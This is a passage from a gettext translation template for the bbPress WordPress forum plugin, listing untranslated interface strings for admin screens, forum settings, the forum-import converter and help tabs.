msgid "Status:"
msgstr ""

#: includes/admin/metaboxes.php:341 includes/admin/metaboxes.php:342
#: templates/default/bbpress/form-forum.php:130
msgid "Visibility:"
msgstr ""

#: includes/admin/metaboxes.php:355
msgid "Parent:"
msgstr ""

#: includes/admin/metaboxes.php:356
msgid "Forum Parent"
msgstr ""

#: includes/admin/metaboxes.php:369 includes/admin/settings.php:1447
#: templates/default/bbpress/form-forum.php:144
msgid "&mdash; No parent &mdash;"
msgstr ""

#: includes/admin/metaboxes.php:376
msgid "Order:"
msgstr ""

#: includes/admin/metaboxes.php:377
msgid "Forum Order"
msgstr ""

#: includes/admin/metaboxes.php:405
msgid "Topic Type"
msgstr ""

#: includes/admin/metaboxes.php:418
msgid "Select whether to open or close the topic."
msgstr ""

#: includes/admin/metaboxes.php:431 includes/admin/metaboxes.php:495
#: includes/extend/buddypress/groups.php:1347 includes/topics/template.php:65
#: templates/default/bbpress/form-topic.php:124
#: templates/default/bbpress/loop-search-forum.php:25
msgid "Forum:"
msgstr ""

#: includes/admin/metaboxes.php:445 includes/extend/buddypress/groups.php:487
#: templates/default/bbpress/form-topic.php:127
msgid "&mdash; No forum &mdash;"
msgstr ""

#: includes/admin/metaboxes.php:481
msgid "Select what status to give the reply."
msgstr ""

#: includes/admin/metaboxes.php:509
msgid "&mdash; No reply &mdash;"
msgstr ""

#: includes/admin/metaboxes.php:522
#: templates/default/bbpress/loop-search-topic.php:25
msgid "Topic:"
msgstr ""

#: includes/admin/metaboxes.php:535
#: templates/default/bbpress/form-reply.php:129
msgid "Reply To:"
msgstr ""

#: includes/admin/metaboxes.php:536
msgid "Reply To"
msgstr ""

#: includes/admin/metaboxes.php:607
#: templates/default/bbpress/form-topic-tag.php:40
msgid "Name:"
msgstr ""

#: includes/admin/metaboxes.php:608
#: templates/default/bbpress/form-user-edit.php:17
#: templates/default/bbpress/form-user-edit.php:22
msgid "Name"
msgstr ""

#: includes/admin/metaboxes.php:613
msgid "Email:"
msgstr ""

#: includes/admin/metaboxes.php:614
#: templates/default/bbpress/form-user-edit.php:112
#: templates/default/bbpress/form-user-register.php:34
msgid "Email"
msgstr ""

#: includes/admin/metaboxes.php:619
#: templates/default/bbpress/form-anonymous.php:33
msgid "Website:"
msgstr ""

#: includes/admin/metaboxes.php:620
#: templates/default/bbpress/form-user-edit.php:60
msgid "Website"
msgstr ""

#: includes/admin/metaboxes.php:627
msgid "ID:"
msgstr ""

#: includes/admin/metaboxes.php:628
msgid "ID"
msgstr ""

#: includes/admin/metaboxes.php:635
msgid "IP:"
msgstr ""

#: includes/admin/metaboxes.php:636
msgid "IP Address"
msgstr ""

#: includes/admin/metaboxes.php:661
msgid "Separate user-names with commas"
msgstr ""

#: includes/admin/metaboxes.php:692
msgid "No users have engaged to this topic."
msgstr ""

#: includes/admin/metaboxes.php:725
msgid "No users have favorited this topic."
msgstr ""

#: includes/admin/metaboxes.php:765
msgid "No users have subscribed to this topic."
msgstr ""

#: includes/admin/metaboxes.php:798
msgid "No users have subscribed to this forum."
msgstr ""

#: includes/admin/replies.php:117
msgid ""
"This screen provides access to all of your replies. You can customize the "
"display of this screen to suit your workflow."
msgstr ""

#: includes/admin/replies.php:127
msgid ""
"You can hide/display columns based on your needs and decide how many "
"replies to list per screen using the Screen Options tab."
msgstr ""

#: includes/admin/replies.php:128
msgid ""
"You can filter the list of replies by reply status using the text links in "
"the upper left to show All, Published, Draft, Pending, Trashed, or Spam "
"replies. The default view is to show all replies."
msgstr ""

#: includes/admin/replies.php:129
msgid ""
"You can view replies in a simple title list or with an excerpt. Choose the "
"view you prefer by clicking on the icons at the top of the list on the "
"right."
msgstr ""

#: includes/admin/replies.php:130
msgid ""
"You can refine the list to show only replies in a specific forum or from a "
"specific month by using the dropdown menus above the replies list. Click "
"the Filter button after making your selection."
msgstr ""

#: includes/admin/replies.php:139
msgid ""
"Hovering over a row in the replies list will display action links that "
"allow you to manage your reply. You can perform the following actions:"
msgstr ""

#: includes/admin/replies.php:141
msgid ""
"<strong>Edit</strong> takes you to the editing screen for that reply. You "
"can also reach that screen by clicking on the reply title."
msgstr ""

#: includes/admin/replies.php:143
msgid ""
"<strong>Trash</strong> removes your reply from this list and places it in "
"the trash, from which you can permanently delete it."
msgstr ""

#: includes/admin/replies.php:144
msgid ""
"<strong>Spam</strong> removes your reply from this list and places it in "
"the spam queue, from which you can permanently delete it."
msgstr ""

#: includes/admin/replies.php:145
msgid "<strong>View</strong> will take you to your live site to view the reply."
msgstr ""

#: includes/admin/replies.php:146 includes/admin/topics.php:148
msgid "<strong>Approve</strong> will change the status from pending to publish."
msgstr ""

#: includes/admin/replies.php:155
msgid ""
"You can also edit, spam, or move multiple replies to the trash at once. "
"Select the replies you want to act on using the checkboxes, then select the "
"action you want to take from the Bulk Actions menu and click Apply."
msgstr ""

#: includes/admin/replies.php:156
msgid ""
"When using Bulk Edit, you can change the metadata (categories, author, "
"etc.) for all selected replies at once. To remove a reply from the "
"grouping, just click the x next to its name in the Bulk Edit area that "
"appears."
msgstr ""

#: includes/admin/replies.php:174
msgid ""
"The title field and the big reply editing Area are fixed in place, but you "
"can reposition all the other boxes using drag and drop, and can minimize or "
"expand them by clicking the title bar of each box. Use the Screen Options "
"tab to unhide more boxes (Excerpt, Send Trackbacks, Custom Fields, "
"Discussion, Slug, Author) or to choose a 1- or 2-column layout for this "
"screen."
msgstr ""

#: includes/admin/replies.php:184
msgid "Title and Reply Editor"
msgstr ""

#: includes/admin/replies.php:186
msgid ""
"<strong>Title</strong> - Enter a title for your reply. After you enter a "
"title, you&#8217;ll see the permalink below, which you can edit."
msgstr ""

#: includes/admin/replies.php:187
msgid ""
"<strong>Reply Editor</strong> - Enter the text for your reply. There are "
"two modes of editing: Visual and HTML. Choose the mode by clicking on the "
"appropriate tab. Visual mode gives you a WYSIWYG editor. Click the last "
"icon in the row to get a second row of controls. The HTML mode allows you "
"to enter raw HTML along with your reply text. You can insert media files by "
"clicking the icons above the reply editor and following the directions. You "
"can go to the distraction-free writing screen via the Fullscreen icon in "
"Visual mode (second to last in the top row) or the Fullscreen button in "
"HTML mode (last in the row). Once there, you can make buttons visible by "
"hovering over the top area. Exit Fullscreen back to the regular reply "
"editor."
msgstr ""

#: includes/admin/replies.php:190
msgid ""
"<strong>Publish</strong> - You can set the terms of publishing your reply "
"in the Publish box. For Status, Visibility, and Publish (immediately), "
"click on the Edit link to reveal more options. Visibility includes options "
"for password-protecting a reply or making it stay at the top of your blog "
"indefinitely (sticky). Publish (immediately) allows you to set a future or "
"past date and time, so you can schedule a reply to be published in the "
"future or backdate a reply."
msgstr ""

#: includes/admin/replies.php:193
msgid ""
"<strong>Featured Image</strong> - This allows you to associate an image "
"with your reply without inserting it. This is usually useful only if your "
"theme makes use of the featured image as a reply thumbnail on the home "
"page, a custom header, etc."
msgstr ""

#: includes/admin/replies.php:198 includes/admin/replies.php:336
#: includes/replies/template.php:69
msgid "Reply Attributes"
msgstr ""

#: includes/admin/replies.php:200
msgid "Select the attributes that your reply should have:"
msgstr ""

#: includes/admin/replies.php:202
msgid ""
"<strong>Forum</strong> dropdown determines the parent forum that the reply "
"belongs to. Select the forum, or leave the default (Use Forum of Topic) to "
"post the reply in forum of the topic."
msgstr ""

#: includes/admin/replies.php:203
msgid ""
"<strong>Topic</strong> determines the parent topic that the reply belongs "
"to."
msgstr ""

#: includes/admin/replies.php:204
msgid "<strong>Reply To</strong> determines the threading of the reply."
msgstr ""

#: includes/admin/replies.php:233 includes/admin/topics.php:238
#: includes/replies/template.php:2030 includes/topics/template.php:2808
msgid "Unspam"
msgstr ""

#: includes/admin/replies.php:251
msgid "%s reply updated."
msgid_plural "%s replies updated."
msgstr[0] ""
msgstr[1] ""

#: includes/admin/replies.php:253
msgid "1 reply not updated, somebody is editing it."
msgstr ""

#: includes/admin/replies.php:254
msgid "%s reply not updated, somebody is editing it."
msgid_plural "%s replies not updated, somebody is editing them."
msgstr[0] ""
msgstr[1] ""

#: includes/admin/replies.php:278 includes/admin/topics.php:283
msgid "Sorry, you are not allowed to spam this item."
msgstr ""

#: includes/admin/replies.php:287
msgid "Error in spamming reply."
msgstr ""

#: includes/admin/replies.php:303
msgid "Sorry, you are not allowed to unspam this reply."
msgstr ""

#: includes/admin/replies.php:312
msgid "Error in unspamming reply."
msgstr ""

#: includes/admin/replies.php:361 includes/admin/topics.php:364
#: templates/default/bbpress/form-anonymous.php:18
msgid "Author Information"
msgstr ""

#: includes/admin/replies.php:459
msgid "The reply was not found."
msgstr ""

#: includes/admin/replies.php:562
msgid "There was a problem marking the reply \"%1$s\" as spam."
msgstr ""

#: includes/admin/replies.php:563
msgid "Reply \"%1$s\" successfully marked as spam."
msgstr ""

#: includes/admin/replies.php:568
msgid "There was a problem unmarking the reply \"%1$s\" as spam."
msgstr ""

#: includes/admin/replies.php:569
msgid "Reply \"%1$s\" successfully unmarked as spam."
msgstr ""

#: includes/admin/replies.php:574
msgid "There was a problem approving the reply \"%1$s\"."
msgstr ""

#: includes/admin/replies.php:575
msgid "Reply \"%1$s\" successfully approved."
msgstr ""

#: includes/admin/replies.php:580
msgid "There was a problem unapproving the reply \"%1$s\"."
msgstr ""

#: includes/admin/replies.php:581
msgid "Reply \"%1$s\" successfully unapproved."
msgstr ""

#: includes/admin/replies.php:664
msgid "Title"
msgstr ""

#: includes/admin/replies.php:707
msgid "No topic"
msgstr ""

#: includes/admin/replies.php:728
msgid "(Mismatch)"
msgstr ""

#: includes/admin/replies.php:740 includes/admin/topics.php:899
msgid "No forum"
msgstr ""

#: includes/admin/replies.php:796 includes/admin/topics.php:975
#: includes/admin/topics.php:994
msgid "View &#8220;%s&#8221;"
msgstr ""

#: includes/admin/replies.php:809
msgid "Unapprove this reply"
msgstr ""

#: includes/admin/replies.php:811
msgid "Approve this reply"
msgstr ""

#: includes/admin/replies.php:818
msgid "Mark this reply as spam"
msgstr ""

#: includes/admin/replies.php:820
msgid "Mark the reply as not spam"
msgstr ""

#: includes/admin/replies.php:820 includes/admin/topics.php:1025
msgid "Not Spam"
msgstr ""

#: includes/admin/replies.php:831 includes/admin/topics.php:1035
#: includes/replies/template.php:1979 includes/topics/template.php:2532
msgid "Restore this item from the Trash"
msgstr ""

#: includes/admin/replies.php:831 includes/admin/topics.php:1035
#: includes/replies/template.php:1962 includes/topics/template.php:2516
msgid "Restore"
msgstr ""

#: includes/admin/replies.php:833 includes/admin/topics.php:1037
#: includes/replies/template.php:1983 includes/topics/template.php:2534
msgid "Move this item to the Trash"
msgstr ""

#: includes/admin/replies.php:837 includes/admin/topics.php:1041
#: includes/replies/template.php:1988 includes/topics/template.php:2538
msgid "Delete this item permanently"
msgstr ""

#: includes/admin/replies.php:837 includes/admin/topics.php:1041
msgid "Delete Permanently"
msgstr ""

#: includes/admin/replies.php:891 includes/admin/topics.php:1095
msgid "In all forums"
msgstr ""

#: includes/admin/replies.php:914 includes/admin/topics.php:1118
msgid "Empty Spam"
msgstr ""

#: includes/admin/replies.php:971 includes/admin/replies.php:983
#: includes/replies/template.php:80
msgid "Reply updated."
msgstr ""

#: includes/admin/replies.php:973 includes/admin/replies.php:996
#: includes/admin/topics.php:1177 includes/admin/topics.php:1200
msgid "View topic"
msgstr ""

#: includes/admin/replies.php:988
#. translators: %s: date and time of the revision
msgid "Reply restored to revision from %s"
msgstr ""

#: includes/admin/replies.php:994
msgid "Reply created."
msgstr ""

#: includes/admin/replies.php:1000
msgid "Reply saved."
msgstr ""

#: includes/admin/replies.php:1005
msgid "Reply submitted."
msgstr ""

#: includes/admin/replies.php:1007 includes/admin/replies.php:1019
#: includes/admin/replies.php:1027 includes/admin/topics.php:1211
#: includes/admin/topics.php:1223 includes/admin/topics.php:1231
msgid "Preview topic"
msgstr ""

#: includes/admin/replies.php:1014
msgid "Reply scheduled for: %s."
msgstr ""

#: includes/admin/replies.php:1025
msgid "Reply draft updated."
msgstr ""

#: includes/admin/settings.php:29
msgid "Forum User Settings"
msgstr ""

#: includes/admin/settings.php:34
msgid "Forum Features"
msgstr ""

#: includes/admin/settings.php:39
msgid "Forum Theme Packages"
msgstr ""

#: includes/admin/settings.php:44
msgid "Topics and Replies Per Page"
msgstr ""

#: includes/admin/settings.php:49
msgid "Topics and Replies Per RSS Page"
msgstr ""

#: includes/admin/settings.php:54
msgid "Forum Root Slug"
msgstr ""

#: includes/admin/settings.php:59
msgid "Forum Single Slugs"
msgstr ""

#: includes/admin/settings.php:64
msgid "Forum User Slugs"
msgstr ""

#: includes/admin/settings.php:71
msgid "Forum Integration for BuddyPress"
msgstr ""

#: includes/admin/settings.php:76
msgid "Forum Integration for Akismet"
msgstr ""

#: includes/admin/settings.php:83 includes/admin/tools/help.php:104
msgid "Database Settings"
msgstr ""

#: includes/admin/settings.php:88
msgid "Options"
msgstr ""

#: includes/admin/settings.php:119
msgid "Roles"
msgstr ""

#: includes/admin/settings.php:133
msgid "Flooding"
msgstr ""

#: includes/admin/settings.php:147
msgid "Editing"
msgstr ""

#: includes/admin/settings.php:155 includes/users/template.php:806
msgid "Anonymous"
msgstr ""

#: includes/admin/settings.php:168
msgid "Auto-embed links"
msgstr ""

#: includes/admin/settings.php:176
msgid "Reply Threading"
msgstr ""

#: includes/admin/settings.php:190 includes/admin/settings.php:2026
msgid "Revisions"
msgstr ""

#: includes/admin/settings.php:198 includes/admin/tools/common.php:449
#: includes/admin/topics.php:450 includes/extend/buddypress/loader.php:247
#: templates/default/bbpress/user-details.php:57
msgid "Favorites"
msgstr ""

#: includes/admin/settings.php:214 includes/admin/settings.php:453
#: includes/admin/tools/common.php:455 includes/admin/topics.php:420
#: includes/extend/buddypress/loader.php:234
#: includes/extend/buddypress/loader.php:336
#: templates/default/bbpress/user-details.php:49
msgid "Engagements"
msgstr ""

#: includes/admin/settings.php:222
msgid "Topic tags"
msgstr ""

#: includes/admin/settings.php:230 includes/admin/settings.php:400
#: includes/common/template.php:2446 includes/search/template.php:175
#: templates/default/bbpress/form-reply-search.php:20
#: templates/default/bbpress/form-search.php:21
#: templates/default/bbpress/form-topic-search.php:20
msgid "Search"
msgstr ""

#: includes/admin/settings.php:238
msgid "Post Formatting"
msgstr ""

#: includes/admin/settings.php:254
msgid "Super Moderators"
msgstr ""

#: includes/admin/settings.php:268
msgid "Current Package"
msgstr ""

#: includes/admin/settings.php:323
msgid "Forum Root"
msgstr ""

#: includes/admin/settings.php:331
msgid "Forum Prefix"
msgstr ""

#: includes/admin/settings.php:339
msgid "Forum root should show"
msgstr ""

#: includes/admin/settings.php:376
msgid "Topic View"
msgstr ""

#: includes/admin/settings.php:413
msgid "User Base"
msgstr ""

#: includes/admin/settings.php:421 includes/extend/buddypress/loader.php:211
#: includes/extend/buddypress/loader.php:319
#: templates/default/bbpress/user-details.php:36
msgid "Topics Started"
msgstr ""

#: includes/admin/settings.php:429 includes/extend/buddypress/loader.php:222
#: includes/extend/buddypress/loader.php:327
#: templates/default/bbpress/user-details.php:42
msgid "Replies Created"
msgstr ""

#: includes/admin/settings.php:437 includes/extend/buddypress/loader.php:346
msgid "Favorite Topics"
msgstr ""

#: includes/admin/settings.php:466 includes/admin/tools/upgrade.php:371
#: includes/extend/buddypress/functions.php:341
msgid "Group Forums"
msgstr ""

#: includes/admin/settings.php:474
msgid "Primary Forum"
msgstr ""

#: includes/admin/settings.php:487
msgid "Use Akismet"
msgstr ""

#: includes/admin/settings.php:501
msgid "Select Platform"
msgstr ""

#: includes/admin/settings.php:509
msgid "Database Server"
msgstr ""

#: includes/admin/settings.php:517
msgid "Database Port"
msgstr ""

#: includes/admin/settings.php:525
msgid "Database Name"
msgstr ""

#: includes/admin/settings.php:533
msgid "Database User"
msgstr ""

#: includes/admin/settings.php:541
msgid "Database Password"
msgstr ""

#: includes/admin/settings.php:549
msgid "Table Prefix"
msgstr ""

#: includes/admin/settings.php:561
msgid "Rows Limit"
msgstr ""

#: includes/admin/settings.php:569
msgid "Delay Time"
msgstr ""

#: includes/admin/settings.php:577
msgid "Convert Users"
msgstr ""

#: includes/admin/settings.php:585
msgid "Stop on Error"
msgstr ""

#: includes/admin/settings.php:593
msgid "Start Over"
msgstr ""

#: includes/admin/settings.php:601
msgid "Helper Data"
msgstr ""

#: includes/admin/settings.php:654
msgid "Setting time limits and other user posting capabilities"
msgstr ""

#: includes/admin/settings.php:678
msgid "Allow users to edit their content for %s minutes after posting"
msgstr ""

#: includes/admin/settings.php:680
msgid "If checked, setting to \"0 minutes\" allows editing forever."
msgstr ""

#: includes/admin/settings.php:703
msgid "Allow flood protection by throttling users for %s seconds after posting"
msgstr ""

#: includes/admin/settings.php:705
msgid "Use this to discourage users from spamming your forums."
msgstr ""

#: includes/admin/settings.php:719
msgid "Allow guest users without accounts to create topics and replies"
msgstr ""

#: includes/admin/settings.php:720
msgid "Works best on intranets or paired with antispam measures like Akismet."
msgstr ""

#: includes/admin/settings.php:753
msgid "Automatically give registered visitors the %s forum role"
msgstr ""

#: includes/admin/settings.php:755
msgid "Uncheck this to manually assign all user access to your forums."
msgstr ""

#: includes/admin/settings.php:770
msgid "Forum features that can be toggled on and off"
msgstr ""

#: includes/admin/settings.php:784
msgid "Allow users to mark topics as favorites"
msgstr ""

#: includes/admin/settings.php:798
msgid "Allow users to subscribe to forums and topics"
msgstr ""

#: includes/admin/settings.php:812
msgid "Allow tracking of topics each user engages in"
msgstr ""

#: includes/admin/settings.php:826
msgid "Allow topics to have tags"
msgstr ""

#: includes/admin/settings.php:840
msgid "Allow forums to have dedicated moderators"
msgstr ""

#: includes/admin/settings.php:841
msgid "This does not include the ability to edit users."
msgstr ""

#: includes/admin/settings.php:855
msgid "Allow Moderators and Keymasters to edit users"
msgstr ""

#: includes/admin/settings.php:856
msgid "This includes roles, passwords, and email addresses."
msgstr ""

#: includes/admin/settings.php:870
msgid "Allow forum wide search"
msgstr ""

#: includes/admin/settings.php:905
msgid "Enable threaded (nested) replies %s levels deep"
msgstr ""

#: includes/admin/settings.php:920
msgid "Allow topic and reply revision logging"
msgstr ""

#: includes/admin/settings.php:934
msgid "Add toolbar & buttons to textareas to help with HTML formatting"
msgstr ""

#: includes/admin/settings.php:947
msgid "How your forum content is displayed within your existing theme."
msgstr ""

#: includes/admin/settings.php:975
msgid "will serve all bbPress templates"
msgstr ""

#: includes/admin/settings.php:979
msgid "No template packages available."
msgstr ""

#: includes/admin/settings.php:993
msgid ""
"Embed media (YouTube, Twitter, Flickr, etc...) directly into topics and "
"replies"
msgstr ""

#: includes/admin/settings.php:1008
msgid "How many topics and replies to show per page"
msgstr ""

#: includes/admin/settings.php:1022 includes/admin/settings.php:1036
#: includes/admin/settings.php:1065 includes/admin/settings.php:1079
msgid "per page"
msgstr ""

#: includes/admin/settings.php:1051
msgid "How many topics and replies to show per RSS page"
msgstr ""

#: includes/admin/settings.php:1098
msgid ""
"Customize your Forums root. Partner with a WordPress Page and use "
"Shortcodes for more flexibility."
msgstr ""

#: includes/admin/settings.php:1127
msgid "Prefix all forum content with the Forum Root slug (Recommended)"
msgstr ""

#: includes/admin/settings.php:1145
msgid "Forum Index"
msgstr ""

#: includes/admin/settings.php:1148
msgid "Topics by Last Post"
msgstr ""

#: includes/admin/settings.php:1170
msgid "This setting will be ignored because %s was found in your theme."
msgstr ""

#: includes/admin/settings.php:1185
msgid "Customize your user profile slugs."
msgstr ""

#: includes/admin/settings.php:1290
msgid ""
"Custom slugs for single forums, topics, replies, tags, views, edit, and "
"search."
msgstr ""

#: includes/admin/settings.php:1411
msgid "Forum settings for BuddyPress"
msgstr ""

#: includes/admin/settings.php:1425
msgid "Allow BuddyPress Groups to have their own forums"
msgstr ""

#: includes/admin/settings.php:1469
msgid "create a new one"
msgstr ""

#: includes/admin/settings.php:1470
msgid "Use %s to contain your group forums, or %s"
msgstr ""

#: includes/admin/settings.php:1472
msgid "Use %s to contain your group forums"
msgstr ""

#: includes/admin/settings.php:1477
msgid "Changing this will not move existing forums."
msgstr ""

#: includes/admin/settings.php:1492
msgid "Forum settings for Akismet"
msgstr ""

#: includes/admin/settings.php:1507
msgid "Allow Akismet to actively prevent forum spam."
msgstr ""

#: includes/admin/settings.php:1523
msgid "Forums Settings"
msgstr ""

#: includes/admin/settings.php:1533
#: templates/default/bbpress/form-user-edit.php:161
msgid "Save Changes"
msgstr ""

#: includes/admin/settings.php:1551
msgid ""
"Information about the database for your previous forums so they can be "
"converted."
msgstr ""

#: includes/admin/settings.php:1574
msgid "The previous forum software"
msgstr ""

#: includes/admin/settings.php:1588
msgid "Use default %s if same server, or IP or hostname"
msgstr ""

#: includes/admin/settings.php:1602
msgid "Use default %s if unsure"
msgstr ""

#: includes/admin/settings.php:1616
msgid "User to access the database"
msgstr ""

#: includes/admin/settings.php:1632
msgid "Toggle"
msgstr ""

#: includes/admin/settings.php:1636
msgid "Password for the above database user"
msgstr ""

#: includes/admin/settings.php:1650
msgid "Name of the database with your old forum data"
msgstr ""

#: includes/admin/settings.php:1663
msgid "Some optional parameters to help tune the conversion process."
msgstr ""

#: includes/admin/settings.php:1677
msgid "Use %s if converting from BuddyPress Legacy"
msgstr ""

#: includes/admin/settings.php:1691
msgid "entry maximum when querying for data to convert"
msgstr ""

#: includes/admin/settings.php:1692
msgid "Keep this low if you experience out-of-memory issues."
msgstr ""

#: includes/admin/settings.php:1706
msgid "second delay between each query of rows above"
msgstr ""

#: includes/admin/settings.php:1707
msgid "Keep this high to prevent too-many-connection issues."
msgstr ""

#: includes/admin/settings.php:1721
msgid "Halt the conversion if an error occurs"
msgstr ""

#: includes/admin/settings.php:1722
msgid "This is helpful if you want to debug problems."
msgstr ""

#: includes/admin/settings.php:1737
msgid "Restart the converter from the beginning"
msgstr ""

#: includes/admin/settings.php:1738
msgid ""
"This forces all steps back to 0. Avoid duplicate data by purging or "
"resetting first."
msgstr ""

#: includes/admin/settings.php:1752
msgid "Purge all meta-data from a previous import"
msgstr ""

#: includes/admin/settings.php:1753
msgid ""
"Use this if an import failed, or you just want to remove the relationship "
"data."
msgstr ""

#: includes/admin/settings.php:1767
msgid "Import user accounts from previous forums"
msgstr ""

#: includes/admin/settings.php:1768
msgid "Passwords remain encrypted, and are converted as individual users log in."
msgstr ""

#: includes/admin/settings.php:1788
msgid "Up next: step %s"
msgstr ""

#: includes/admin/settings.php:1789
msgid "Ready"
msgstr ""

#: includes/admin/settings.php:1793
msgid "Resume"
msgstr ""

#: includes/admin/settings.php:1798
msgid "Previously stopped at step %1$d of %2$d"
msgstr ""

#: includes/admin/settings.php:1799
msgid "Ready to go."
msgstr ""

#: includes/admin/settings.php:1802 includes/admin/tools/repair.php:43
#: includes/admin/tools/reset.php:23 includes/admin/tools/upgrade.php:40
msgid "Forum Tools"
msgstr ""

#: includes/admin/settings.php:1813
msgid "Toggle panel: Import Status"
msgstr ""

#: includes/admin/settings.php:1817
msgid "Import Monitor"
msgstr ""

#: includes/admin/settings.php:1829
msgid "Pause"
msgstr ""

#: includes/admin/settings.php:1872
msgid "This screen provides access to all of the Forums settings."
msgstr ""

#: includes/admin/settings.php:1873 includes/admin/tools/help.php:97
msgid ""
"Please see the additional help tabs for more information on each individual "
"section."
msgstr ""

#: includes/admin/settings.php:1879
msgid "Main Settings"
msgstr ""

#: includes/admin/settings.php:1880
msgid "The \"Main Settings\" section includes a number of options:"
msgstr ""

#: includes/admin/settings.php:1883
msgid ""
"You can choose to lock a post after a certain number of minutes. \"Locking "
"post editing\" will prevent the author from editing some amount of time "
"after saving a post."
msgstr ""

#: includes/admin/settings.php:1884
msgid ""
"\"Throttle time\" is the amount of time required between posts from a "
"single author. The higher the throttle time, the longer a user will need to "
"wait between posting to the forum."
msgstr ""

#: includes/admin/settings.php:1885
msgid ""
"Favorites are a way for users to save and later return to topics they "
"favor. This is enabled by default."
msgstr ""

#: includes/admin/settings.php:1886
msgid ""
"Subscriptions allow users to subscribe for notifications to topics that "
"interest them. This is enabled by default."
msgstr ""

#: includes/admin/settings.php:1887
msgid ""
"Topic-Tags allow users to filter topics between forums. This is enabled by "
"default."
msgstr ""

#: includes/admin/settings.php:1888
msgid ""
"\"Anonymous Posting\" allows guest users who do not have accounts on your "
"site to both create topics as well as replies."
msgstr ""

#: includes/admin/settings.php:1889
msgid ""
"The Fancy Editor brings the luxury of the Visual editor and HTML editor "
"from the traditional WordPress dashboard into your theme."
msgstr ""

#: includes/admin/settings.php:1890
msgid ""
"Auto-embed will embed the media content from a URL directly into the "
"replies. For example: links to Flickr and YouTube."
msgstr ""

#: includes/admin/settings.php:1893
msgid ""
"You must click the Save Changes button at the bottom of the screen for new "
"settings to take effect."
msgstr ""

#: includes/admin/settings.php:1899
msgid "Theme Packages"
msgstr ""

#: includes/admin/settings.php:1900
msgid ""
"The \"Theme Packages\" section allows you to choose which theme package "
"should be used."
msgstr ""

#: includes/admin/settings.php:1903
msgid "The \"bbPress Default\" package is installed by default."
msgstr ""

#: includes/admin/settings.php:1904
msgid "Some themes may choose to ignore this setting entirely."
msgstr ""

#: includes/admin/settings.php:1905
msgid "Packages can be stacked to allow for intelligent fallbacks."
msgstr ""

#: includes/admin/settings.php:1913
msgid "Per Page"
msgstr ""

#: includes/admin/settings.php:1914
msgid ""
"The \"Per Page\" section allows you to control the number of topics and "
"replies appear on each page."
msgstr ""

#: includes/admin/settings.php:1916
msgid ""
"This is comparable to the WordPress \"Reading Settings\" page, where you "
"can set the number of posts that should show on blog pages and in feeds."
msgstr ""

#: includes/admin/settings.php:1917
msgid ""
"These are broken up into two separate groups: one for what appears in your "
"theme, another for RSS feeds."
msgstr ""

#: includes/admin/settings.php:1925
msgid "Slugs"
msgstr ""

#: includes/admin/settings.php:1926
msgid ""
"The \"Slugs\" section allows you to control the permalink structure for "
"your forums."
msgstr ""

#: includes/admin/settings.php:1928
msgid ""
"\"Archive Slugs\" are used as the \"root\" for your forums and topics. If "
"you combine these values with existing page slugs, bbPress will attempt to "
"output the most correct title and content."
msgstr ""

#: includes/admin/settings.php:1929
msgid ""
"\"Single Slugs\" are used as a prefix when viewing an individual forum, "
"topic, reply, user, or view."
msgstr ""

#: includes/admin/settings.php:1930
msgid ""
"In the event of a slug collision with WordPress or BuddyPress, a warning "
"will appear next to the problem slug(s)."
msgstr ""

#: includes/admin/settings.php:2024
#: templates/default/bbpress/loop-forums.php:24
#: templates/default/bbpress/loop-replies.php:21
#: templates/default/bbpress/loop-replies.php:47
#: templates/default/bbpress/loop-topics.php:22
msgid "Posts"
msgstr ""

#: includes/admin/settings.php:2025
msgid "Pages"
msgstr ""

#: includes/admin/settings.php:2027
msgid "Attachments"
msgstr ""

#: includes/admin/settings.php:2028
msgid "Menus"
msgstr ""

#: includes/admin/settings.php:2031
msgid "Tag base"
msgstr ""

#: includes/admin/settings.php:2034
msgid "Category base"
msgstr ""

#: includes/admin/settings.php:2039
msgid "Forums base"
msgstr ""

#: includes/admin/settings.php:2042
msgid "Topics base"
msgstr ""

#: includes/admin/settings.php:2045
msgid "Forum slug"
msgstr ""

#: includes/admin/settings.php:2048
msgid "Topic slug"
msgstr ""

#: includes/admin/settings.php:2051
msgid "Reply slug"
msgstr ""

#: includes/admin/settings.php:2054
msgid "Edit slug"
msgstr ""

#: includes/admin/settings.php:2057
msgid "User base"
msgstr ""

#: includes/admin/settings.php:2060
msgid "View base"
msgstr ""

#: includes/admin/settings.php:2063
msgid "Topic tag slug"
msgstr ""

#: includes/admin/settings.php:2075
msgid "%s page"
msgstr ""

#: includes/admin/settings.php:2098
msgid "Possible %1$s conflict: %2$s"
msgstr ""

#: includes/admin/tools/common.php:258
msgid "Search Tools:"
msgstr ""

#: includes/admin/tools/common.php:260
msgid "Search Tools"
msgstr ""

#: includes/admin/tools/common.php:286
msgid "Filter by Component"
msgstr ""

#: includes/admin/tools/common.php:288
msgid "All Components"
msgstr ""

#: includes/admin/tools/common.php:372
msgid "Filter by Version"
msgstr ""

#: includes/admin/tools/common.php:374
msgid "All Versions"
msgstr ""

#: includes/admin/tools/common.php:402
msgid "Low"
msgstr ""

#: includes/admin/tools/common.php:405
msgid "Medium"
msgstr ""

#: includes/admin/tools/common.php:408
msgid "High"
msgstr ""

#: includes/admin/tools/common.php:431 includes/admin/tools/common.php:446
msgid "Users"
msgstr ""

#: includes/admin/tools/common.php:443 includes/topics/template.php:3385
#: includes/topics/template.php:3386
#: templates/default/bbpress/content-statistics.php:40
msgid "Topic Tags"
msgstr ""

#: includes/admin/tools/common.php:479
msgid "2.5.0"
msgstr ""

#: includes/admin/tools/common.php:483
msgid "2.6.0"
msgstr ""

#: includes/admin/tools/common.php:800 includes/admin/tools/common.php:924
msgid "All %s"
msgstr ""

#: includes/admin/tools/common.php:925
msgid "Pending %s"
msgstr ""

#: includes/admin/tools/help.php:30 includes/admin/tools.php:523
msgid "Repair Forums"
msgstr ""

#: includes/admin/tools/help.php:31
msgid ""
"There is more detailed information available on the bbPress and BuddyPress "
"codex for the following:"
msgstr ""

#: includes/admin/tools/help.php:34
msgid ""
"BuddyPress Group Forums: <a "
"href=\"https://codex.buddypress.org/getting-started/installing-group-and-"
"sitewide-forums/\">Installing Group and Sitewide Forums</a> and <a "
"href=\"https://codex.buddypress.org/getting-started/guides/migrating-from-"
"old-forums-to-bbpress-2/\">Migrating from old forums to bbPress 2.2+</a>."
msgstr ""

#: includes/admin/tools/help.php:35
msgid ""
"bbPress roles: <a "
"href=\"https://codex.bbpress.org/bbpress-user-roles-and-capabilities/\" "
"target=\"_blank\">bbPress User Roles and Capabilities</a>"
msgstr ""

#: includes/admin/tools/help.php:38
msgid ""
"Also see <a href=\"https://codex.bbpress.org/repair-forums/\">bbPress: "
"Repair Forums</a>."
msgstr ""

#: includes/admin/tools/help.php:66 includes/admin/tools.php:550
